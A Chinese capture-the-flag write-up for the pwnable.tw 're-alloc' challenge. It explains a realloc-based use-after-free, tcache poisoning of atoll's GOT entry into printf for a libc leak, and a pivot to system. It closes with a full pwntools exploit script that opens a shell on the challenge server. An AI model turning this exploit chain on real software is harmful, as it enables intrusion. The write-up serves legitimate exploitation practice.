Contents
  1. 1. re-alloc
    1. 1.1. 分析
    2. 1.2. exp

re-alloc

分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

关于realloc(网上找的

头文件:#include <stdlib.h>

realloc() 函数用来重新分配内存空间,其原型为:
void* realloc (void* ptr, size_t size);

【参数说明】ptr 为需要重新分配的内存空间指针,size 为新的内存空间的大小。

realloc() 对 ptr 指向的内存重新分配 size 大小的空间,size 可比原来的大或者小,还可以不变(如果你无聊的话)。当 malloc()calloc() 分配的内存空间不够用时,就可以用 realloc() 来调整已分配的内存。

如果 ptr 为 NULL,它的效果和 malloc() 相同,即分配 size 字节的内存空间。

如果 size 的值为 0,那么 ptr 指向的内存空间就会被释放,但是由于没有开辟新的内存空间,所以会返回空指针;类似于调用 free()

几点注意:

  • 指针 ptr 必须是在动态内存空间分配成功的指针,形如如下的指针是不可以的:int *i; int a[2];会导致运行时错误,可以简单的这样记忆:用 malloc()、calloc()、realloc() 分配成功的指针才能被 realloc() 函数接受。
  • 成功分配内存后 ptr 将被系统回收,一定不可再对 ptr 指针做任何操作,包括 free();相反的,可以对 realloc() 函数的返回值进行正常操作。
  • 如果是扩大内存操作会把 ptr 指向的内存中的数据复制到新地址(新地址也可能会和原地址相同,但依旧不能对原指针进行任何操作);如果是缩小内存操作,原始据会被复制并截取新长度。

【返回值】分配成功返回新的内存地址,可能与 ptr 相同,也可能不同;失败则返回 NULL。

注意:如果分配失败,ptr 指向的内存不会被释放,它的内容也不会改变,依然可以正常使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

printf("Index:");
v1 = read_long();
if ( v1 > 1 || !heap[v1] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc(heap[v1], size); // 存在uaf
if ( !v3 )
return puts("alloc error");
heap[v1] = v3;
printf("Data:", size);
return read_input((__int64)heap[v1], size);
}

realloc时如果size设置为0,就会达到free的效果,但是heap[]并没有被清零,所以存在uaf漏洞。

alloc分配,realloc设置size为0后释放,再使用realloc就可以重新写chunk,将fd写为atoll_got后释放,再次分配到该块的话,就可以向atoll_got写入plt,使用printf_plt,可以利用atoll的参数,设置成printf的格式化字符串,打印出想要的位置,如栈上的某函数,达到泄露libc的目的。

要跳转system有两种方法,一种是同上,将atoll_got改为system,另一种是改free_hook为onegadget或system,其实原理还是一样的…【而此时的atoll已经变成了printf,所以可以通过输入参数的长度控制printf返回size或index大小】

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./re-alloc"
ip = "chall.pwnable.tw"
port = 10106
elf = ELF(binary)
libc = elf.libc

atoll_got = elf.got['atoll']
printf_plt = elf.plt['printf']

def menu(choice):
io.sendlineafter("Your choice: ", str(choice))

def alloc(idx, size, data):
menu(1)
io.sendlineafter("Index:", str(idx))
io.sendlineafter("Size:", str(size))
io.sendafter("Data:", data)

def realloc(idx, size, data):
menu(2)
io.sendlineafter("Index:", str(idx))
io.sendlineafter("Size:", str(size))
if size != 0:
io.sendafter("Data:", data)

def free(idx):
menu(3)
io.sendlineafter("Index:", str(idx))


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = elf.libc
else:
io = remote(ip, port)
libc = ELF('./libc.so')
alloc(0, 0x10, "A" * 0x10)
realloc(0, 0, "")
realloc(0, 0x10, p64(atoll_got))
alloc(1, 0x10, "B" * 0x10)
realloc(0, 0x30, "A" * 0x30)
free(0)
realloc(1, 0x30, "B" * 0x30)
free(1)

alloc(0, 0x40, "A" * 0x40)
realloc(0, 0, "")
realloc(0, 0x40, p64(atoll_got))
alloc(1, 0x40, "B" * 0x40)
realloc(0, 0x50, "A" * 0x50)
free(0)
realloc(1, 0x50, "B" * 0x50)
free(1)

alloc(0, 0x45, p64(printf_plt))
io.sendlineafter("choice: ", str(1))
# gdb.attach(io)
io.sendlineafter("Index:", "%15$llx")
stdout_addr = u64(io.recv(8)[2:8].ljust(8,'\x00'))
libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
sys_addr = libc_base + libc.sym['system']
success("stdout_addr = "+hex(stdout_addr))
success("libc_base = "+hex(libc_base))
success("system_addr = "+hex(sys_addr))

# realloc(0, 0x20, p64(sys_addr))
io.sendlineafter("choice: ", str(1))
io.sendafter("Index:", "A")
io.sendafter("Size:", p64(sys_addr))

io.sendafter("Data:", p64(sys_addr))
# gdb.attach(io)
io.sendlineafter("choice: ", str(1))
io.sendafter("Index:", "/bin/sh\x00")

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

不过拿flag有点艰难啊…很容易就EOF了…得快准狠